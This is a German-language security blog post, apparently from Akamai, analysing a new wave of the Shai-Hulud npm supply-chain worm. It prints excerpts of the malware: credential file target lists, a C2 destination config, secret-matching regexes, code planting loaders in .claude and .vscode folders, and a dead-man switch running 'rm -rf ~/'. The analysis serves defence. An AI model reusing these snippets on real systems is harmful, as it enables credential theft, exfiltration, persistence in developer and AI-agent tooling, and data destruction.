Akamai übernimmt LayerX, um die Kontrolle der KI-Nutzung in jedem Browser durchzusetzen. Weitere Informationen

Shai-Hulud im Miniaturformat: Der Wurm kehrt zurück und wird öffentlich verfügbar

Teilen

Die Akamai Security Intelligence Group hat eine neue Welle der auf Lieferketten ausgerichteten Shai-Hulud-Kampagne identifiziert, die das npm-Ökosystem betrifft. Betroffene Akamai-Hunt-Kunden haben bereits eine detaillierte Zuordnung anfälliger Assets mit umsetzbaren Empfehlungen zu Segmentierung und Risikominderung erhalten.

Wichtige Erkenntnisse

  • Am 11. Mai 2026 hat eine neue Welle der Shai-Hulud-Lieferkettenkampagne das npm-Ökosystem erschüttert und schädliche Paketversionen in der gesamten TanStack-Abhängigkeitsstruktur veröffentlicht.

  • Der Angriff erfolgte durch das Hijacking eines legitimen Release-Workflows durch einen Continuous Integration (CI)-Cache Poisoning-Angriff und den OpenID Connect (OIDC)-Veröffentlichungsendpunkt von npm.

  • Die Kampagne wurde schnell über TanStack hinaus auf zusätzliche npm-Pakete ausgeweitet, die unter anderem mit Mistral AI, UiPath, OpenSearch verknüpft sind.

  • Am nächsten Tag schien es, als würden neue GitHub-Repositorys den Quellcode des schädlichen Shai-Hulud-Wurms hosten.

  • In diesem Blogbeitrag analysieren wir die neu veröffentlichte Malware, untersuchen, inwiefern sich diese Angriffswelle von früheren Wellen unterscheidet, und bieten Empfehlungen zur Abwehr für Wartungspersonal und Unternehmen.

Am 11. Mai 2026 hat TeamPCP seine laufende Lieferkettenkampagne fortgesetzt und eine neue Payload in Form einer shai-hulud-Variante eingeführt. In unserem vorherigen Blogbeitrag zu diesem Thema haben wir darauf hingewiesen, dass die Ransomware-Gruppe Vect eine Partnerschaft mit TeamPCP angekündigt hatte, ein Hinweis darauf, dass der Schwerpunkt nicht mehr beim Diebstahl von Anmeldedaten sondern bei großflächiger Erpressung und Ransomware-Angriffen liegt.

Diese neue Kampagne bietet das erste konkrete Anzeichen dafür, dass diese Umstellung bereits im Gange sein könnte.

Frühere Wellen des Shai-Hulud-Wurms

Der Shai-Hulud-Wurm tauchte erstmals im September 2025 auf. Sein Kernmechanismus war einfach: zunächst entwendete er ein npm-Veröffentlichungs-Token, ermittelte alle Pakete, die dieses Token erreichen konnte, injizierte schädlichen Code und veröffentlichte das Token dann neu.

Nach dem erstmaligen Auftauchen blieb Shai-Hulud bis Ende des Jahres aktiv. Im November und Dezember 2025 wurde dann eine aktualisierte Version mit Datenlöschfunktionen beobachtet. 

Die neue Welle umfasst CI-Cache Poisoning und OIDC-Missbrauch

Jede vorherige Welle begann mit gestohlenen Anmeldedaten. Bei dieser war das nicht der Fall.

TeamPCP, der Bedrohungsakteur, der hinter dem Angriff auf Trivy im März 2026 und mehreren nachfolgenden Operationen steht, hat sich als Urheber dieser neuen Welle bekannt und diese als Shai-Hulud im Miniaturformat bezeichnet.

Für diese neue Welle nutzten die Angreifer eine fehlerhafte Konfiguration des Pull-Anfragen-Workflows im GitHub Actions-CI von TanStack. Eine Pull-Anfrage aus einer Fork hat einen Workflow mit Schreibzugriff auf den Cache des Basis-Repositorys ausgelöst. Der Code des Angreifers hat diesen Cache vergiftet und dann abgewartet. 

Acht Stunden später löste eine legitime Maintainer-Zusammenführung den Standard-Release-Workflow aus,  der auf den vergifteten Cache zugegriffen und den Code des Angreifers ausgeführt hat.

Automatische Extraktion des GitHub Actions-Tokens

Der Wurm des Angreifers griff die Token dann direkt aus dem Speicher des GitHub Actions-Runners ab und tauschte sie über den eigenen Token-Austausch-Endpunkt von npm gegen die Anmeldedaten für die npm-Veröffentlichung aus. Es wurden keine npm-Token „gestohlen“, und der Veröffentlichungs-Workflow selbst schien nicht kompromittiert zu sein, wodurch der Angriff unsichtbar gemacht und eine SLSA-Bestätigungsvalidierung gewährt wurde.

Eine weitere wichtige Änderung besteht darin, dass die Nutzlast jetzt einen Hintergrund-Daemon erzeugt, der das gestohlene Token aus dem anfänglichen Zugriff verwendet. Wenn das Token widerrufen wird, löscht der Daemon sofort das gesamte Standardverzeichnis des Opfers

Persistenzvektoren in Entwickleranwendungen

Die Persistenz der Malware wurde ebenso erweitert und umfasst nun auch Session Hooks von Claude Code und die Automatisierung von VS Code-Aufgaben, die beide einen „npm uninstall“-Vorgang überstehen. 

Der Wurm selbst hat sich nicht geändert. Sobald er gültige Anmeldeinformationen abruft, listet er jedes ermittelte Paket auf und versucht, sich in diese Pakete zu injizieren. 

Die Kampagne wird veröffentlicht

Am Abend des 12. Mai 2026 wurde der hochgerüstete Wurmcode veröffentlicht. Obwohl wir nicht sicher wissen, dass dieser mit der Malware identisch ist, mit der TanStack angegriffen wurde, ist steht die vollständige schädliche Nutzlast jetzt für jeden zur Verfügung.

Am Abend des 12. Mai 2026 wurde der hochgerüstete Wurmcode veröffentlicht. Ein Snippet aus einem der GitHub-Repositorys, bevor es gelöscht wurde

Malware-Aufschlüsselung: Hauptschleife

Die Hauptschleife des Wurms ist nicht sehr groß und umfasst nur eine Handvoll Phasen, bei denen jedoch äußerst sorgfältig vorgegangen wurde:

  • Phase 0: Preflight-Prüfungen

  • Phase 1: Schnelle Erfolge

  • Phase 2: C2-Kommunikation (Command and Control)

  • Phase 3: Sammeln von Plattformanmeldedaten

  • Phase 4: Kontinuierliche Ausbreitung

Die Hauptschleife sieht in etwa so aus:

main()
      └── preflight()
      └── setupQuickResults()
      └── C2 / Dispatcher setup
             └── collector.ingest(...)    
      └── collector.run(providers)
      └── ReadmeUpdater / spread
      └── collector.finalize()   

Phase 0: Preflight-Prüfungen

Die Malware überprüft zunächst, ob sie im Kontext des opensearch-js-Pakets ausgeführt wird. In diesem Fall versucht sie, eine Backdoor in das Paket einzuspeisen, dessen OIDC-Client auszulösen, die Zugangsdaten unmittelbar zu entwenden und die SLSA-Signatur zu fälschen.

Anschließend prüft die Malware, ob die Systemsprache Russisch ist. Ist dies der Fall, wird die Malware beendet.

Anschließend schließt sie ihre Preflight-Prüfungen ab, indem sie sich vergewissert, dass sie die einzige aktive Instanz ist, überprüft, dass sie in einer CI/CD-Umgebung ausgeführt wird, und verhindert, dass sie über SIGINT oder SIGTERM beendet wird.

Phase 1: Schnelle Erfolge

In dieser Phase versucht die Malware, so viele Anmeldeinformationen wie möglich vom Endpoint zu sammeln. Dazu liest sie mehr als 1.000 bekannte Speicherorte für Anmeldeinformationen aus, versucht gh auth token auszuführen und erfasst process.env, um Anmeldedaten aus Umgebungsvariablen zu stehlen.

LINUX:[
…
    scramble("~/.ssh/known_hosts"),
    scramble("~/.terraform.d/credentials.tfrc.json"),
    scramble("/var/lib/docker/containers/*/config.v2.json"),
    scramble("/var/run/secrets/kubernetes.io/serviceaccount/token"),
    scramble("~/.viminfo"),
    scramble("**/wp-config.php"),
    scramble("~/.yarnrc"),
    scramble("~/.zcash/wallet.dat"),
    scramble("~/.zsh_history"),
] 
WIN: [
    ".env",
    "config.ini",
    scramble("%APPDATA%\\NordVPN\\NordVPN.exe.Config"),
    scramble("%APPDATA%\\OpenVPN Connect\\profiles\\*"),
    scramble("%PROGRAMDATA%\OpenVPN\config\*"),
    scramble("%APPDATA%\\ProtonVPN\\user.config"),
    scramble("%APPDATA%\\CyberGhost\\CG6\\CyberGhost.dat"),
    scramble("%APPDATA%\\Private Internet Access\*.conf"),
    scramble("%APPDATA%\\Windscribe\\Windscribe\*"),
    scramble("C:\\Program Files\\OpenVPN\\config\\*.ovpn"),
    scramble("%USERPROFILE%\\OpenVPN\\config\\*.ovpn"),
    scramble("%APPDATA\%\EarthVPN\\OpenVPN\\config\\*.ovpn"),
  ],
  OSX: [
    scramble("~/.ansible/*"),
    scramble("~/.aws/config"),
    scramble("~/.aws/credentials"),
    scramble("~/.azure/accessTokens.json"),
    scramble("~/.azure/msal_token_cache.*"),
    scramble("~/.bash_history"),
    scramble("~/.bitcoin/wallet.dat"),

Phase 2: C2-Kommunikation (Command and Control)

Der Wurm richtet dann die C2-Kommunikation mit seinem Hauptserver ein:

const dest: SenderDestination = {
      domain: scramble("git-tanstack.com"),
      port: 443,
      path: scramble("router"),
      dry_run: false,
};

Mithilfe der Haupt-Dispatcher-Funktion verschlüsselt der Wurm alle gestohlenen Daten vor der Übertragung mit einem fest codierten öffentlichen RSA-Schlüssel. Dadurch wird sichergestellt, dass nur der Angreifer die extrahierten Daten lesen kann. Der Code fordert auch zukünftige Bediener auf, diesen Schlüssel zu ersetzen.

Die Malware versucht zunächst, ihren primären C2-Server zu kontaktieren. Wenn diese Kommunikation blockiert wird, wird ein neues GitHub-Repository unter dem eigenen Konto des Opfers erstellt und die verschlüsselten Daten werden dort festgeschrieben. Der Angreifer kann GitHub dann anhand seiner eindeutigen Beschreibung bezüglich dieser Repositorys überwachen.

Sobald die verschlüsselten Daten 100 KB erreichen, beginnt die Extraktion.

Phase 3: Sammeln von Plattformanmeldedaten

Nach Abschluss der Einrichtung geht die Malware beim Sammeln von Anmeldedaten von Plattformen wie AWS, Kubernetes, GitHub und anderen noch aggressiver vor.

In Kubernetes-Umgebungen versucht der Wurm beispielsweise, über viele verschiedene Speicherorte und Geheimnisse hinweg mit regulären Ausdrücken zu iterieren:

constructor() {
super("kubernetes", "secrets", {
ghtoken: /gh[op]_[A-Za-z0-9_\-\.]{36,}/g,
npmtoken: /npm_[A-Za-z0-9_\-\.]{36,}/g,
k8stoken: /eyJhbGciOiJSUzI1NiIsImtpZCI6[\w\-\.]+/g,
awskey:
…
sshKey: /ssh-(rsa|ed25519|dss) AAAA[0-9A-Za-z+\/]{100,}/g,
dockerAuth: /"auth":\s*"[A-Za-z0-9+\/=]{20,}"/g,
kubeconfig: /[A-Za-z0-9+/=]{20,}/g,
secret:
/["']?(password|passwd|pass|pwd|secret|token|key|api[_-]?key|auth)["']?\s*["':=]\s*["'][^"'{}\s]{4,}["']/gi,
genericSecret: /[A-Za-z0-9_\-\.]{20,}/g,
urlCred: /https?:\/\/[^:"'\s]+:[^@"'\s]+@[^\s'"\]]+/g,
});
}

private isInCluster(): boolean {
return !!process.env.KUBERNETES_SERVICE_HOST;
}

private async getCA(): Promise<Buffer | null> {
const caPath = "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt";

Zu den Speicherorten, die der Wurm bei einer AWS-bezogenen Sammlung durchsucht, zählen u. a.:

~/.aws/credentials

~/.aws/config

~/.azure/accessTokens.json

~/.azure/msal_token_cache.*

~/.config/gcloud/credentials.db

access_tokens.db

application_default_credentials.json

~/.terraform.d/credentials.tfrc.json

Sobald die Sammlung abgeschlossen ist, sendet die Malware die gesammelten Daten über ihren C2-Kanal und verbreitet sich weiter auf andere Repositorys.

Ein auffälliges, nicht Framework-bezogenes Verhalten der Malware ist, dass sie auch nach Bitcoin-Wallets sucht und dabei insbesondere auf ~/.Bitcoin/wallet.dat abzielt.

Phase 4: Kontinuierliche Ausbreitung

Zur weiteren Verbreitung verwendet der Wurm jedes gültige GitHub-Token, um einen Workflow zu erstellen, der zusätzliche Geheimnisse entwendet und die Infektionskette fortsetzt.

Wenn kein Workflow-Token gefunden wird, breitet sich der Wurm über jeden erkannten GitHub-Zweig aus und fügt schädliche Dateien, darunter einen Loader und die Wurm-Binärdatei, zu Ordnern mit KI-Agentenbezug wie .claude und .vscode hinzu:

const FILE_UPDATES: FileSourceMap = {
  ".vscode/tasks.json": task,
  [`.claude/${SCRIPT_NAME}`]: { sourcePath: Bun.main },
  ".claude/settings.json": claude_settings,
  ".claude/setup.mjs": config,
  ".vscode/setup.mjs": config,
};

Wenn der Wurm NPM-Token findet, startet er seinen NPMClient und kopiert die Malware in packages/opensearch_init.js. 

Die Malware verwendet eine ähnliche Verteilungskette für OIDC-Token.

Malware-Aufschlüsselung: Der Totmannschalter

Neben der Hauptschleife ist einer der bekanntesten Bereiche der Malware der Totmannschalter. Alle 60 Sekunden prüft die Malware, ob die Token rotiert wurden. Wenn dies der Fall ist, versucht der Wurm, Dateien vom Computer zu löschen:

logUtil.log("About to add monitor!");
await this.installTokenMonitor(this.token, scramble("rm -rf ~/"));

Obwohl es noch einige andere Aspekte und Codeebenen gibt, die wir hier nicht beschrieben haben, sind wir der Ansicht, dass das von uns beschriebene Verhalten ausreicht, um die Raffinesse und die Absicht der Angreifer zu demonstrieren.

Erkennung und Abwehr

Um Ihr Unternehmen zu schützen, empfehlen wir Ihnen, sich umgehend mit einem Sicherheitsexperten in Verbindung zu setzen und die folgenden Maßnahmen zu ergreifen:

  • Herunterstufen von infizierten Paketen auf sichere Versionen

  • Reduzieren des Wirkungsbereichs von betroffenen Hosts durch Netzwerksegmentierung

Ausblick

Diese Kampagne markiert eine weitere Eskalation in der laufenden Operation von TeamPCP. Seit acht Monaten führt die Gruppe eine methodisch und technisch ausgefeilte Kampagne zum Diebstahl von Anmeldedaten durch, die sich auf die Sammlung von Geheimnissen, den Missbrauch von Entwicklerworkflows und die Erweiterung des Zugriffs auf Software-Lieferkettenumgebungen konzentriert.

Diese neueste Variante zeigt die anhaltenden Investitionen in Automatisierung, Sammlung von Anmeldedaten und Propagierung über Repositorys, Pakete und Entwickler-Tools hinweg. Diese Kampagne wurde unmittelbar lanciert, nachdem TeamPCP und Vect eine Zusammenarbeit angekündigt hatten.

Da der Wurm nun öffentlich ist und die Toolchain anderen Akteuren zur Verfügung steht, ist das Problem nicht mehr allein auf TeamPCP beschränkt. Dieselben Techniken können nun von weiteren Cyberkriminellen untersucht, angepasst und wiederverwendet werden.

Wir halten Sie auf dem Laufenden

Die Akamai Security Intelligence Group wird weiterhin sowohl für unsere Kunden als auch für die gesamte Sicherheitscommunity solche Bedrohungen überwachen, Berichte darüber erstellen und Maßnahmen zur Abwehr entwickeln. Besuchen Sie unsere Forschungs-Homepage und folgen Sie uns in den sozialen Medien, um über weitere Neuigkeiten von der Akamai Security Intelligence Group informiert zu werden.

Tags

Teilen

Verwandte Blogbeiträge

Sicherheitsforschung
CVE-2025-29635: Mirai-Kampagne zielt auf D-Link-Geräte ab
April 21, 2026
Lesen Sie mehr über die aktiven Ausnutzungsversuche der Sicherheitslücke CVE-2025-29635, die vom Akamai SIRT entdeckt wurde.
Cybersicherheit
CVE-2026-31979: Die Symlink-Falle – Eskalation von Root-Berechtigungen in Himmelblau
Eine Sicherheitslücke mit hohem Schweregrad (CVE-2026-31979) wirkt sich auf bestimmte Bereitstellungen von Himmelblau aus. Sofortige Maßnahmen werden empfohlen.
Cybersicherheit
Akamai unterstützt Behörden dabei, die weltweit größten IoT-Botnets zu unterbrechen
Das US-Justizministerium hat vor Kurzem mehrere große und leistungsstarke DDoS-Botnets unterbrochen und die zugehörigen DDoS-for-hire-Dienste mithilfe von Akamai unschädlich gemacht.